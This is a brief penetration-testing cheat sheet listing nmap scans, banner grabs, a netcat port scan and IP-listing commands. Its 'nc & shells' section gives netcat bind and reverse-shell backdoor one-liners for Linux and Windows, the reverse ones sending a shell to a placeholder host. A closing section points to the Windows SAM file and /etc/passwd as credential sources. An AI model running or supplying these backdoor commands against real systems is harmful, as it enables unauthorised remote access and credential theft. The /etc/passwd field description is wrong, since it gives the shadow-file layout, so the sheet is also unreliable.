

### scanning & enumeration

nmap icmp echo	nmap -sn x.x.x.x
nmap TCP stealth	nmap -sS x.x.x.x
nmap service version scan	nmap -sV x.x.x.x
nmap aggressive scan	nmap -A x.x.x.x
nmap UDP scan	nmap -sU x.x.x.x
telnet banner grab	telnet x.x.x.x 80
server banner grab (enter twice)	HEAD / HTTP/1.1
netcat connect	nc x.x.x.x 22
netcat port scanner	nc -v -n -z -w1 x.x.x.x 1-65535
server banner grab	curl -I x.x.x.x

### general commands

list all ip4 addresses	ip -br -4 a
list all ip6 addresses	ip -br -6 a

### nc & shells

netcat client	nc x.x.x.x 4444
netcat listener	nc -l -p 4444
netcat backdoor linux	nc -l -p 4321 -e /bin/bash
netcat backdoor windows	nc -l -p 4321 -e cmd.exe
netcat reverse backdoor linux	nc x.x.x.x 4321 -e /bin/bash
netcat reverse backdoor windows	nc x.x.x.x 4321 -e cmd.exe

### file locations

windows SAM file	[username][user id][LM hash]	c:\windows\system32\config\SAM
Linux password file	[username][password][last password change][min days][max valid days][inactive][expire]	/etc/passwd



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Page 1 of 1.

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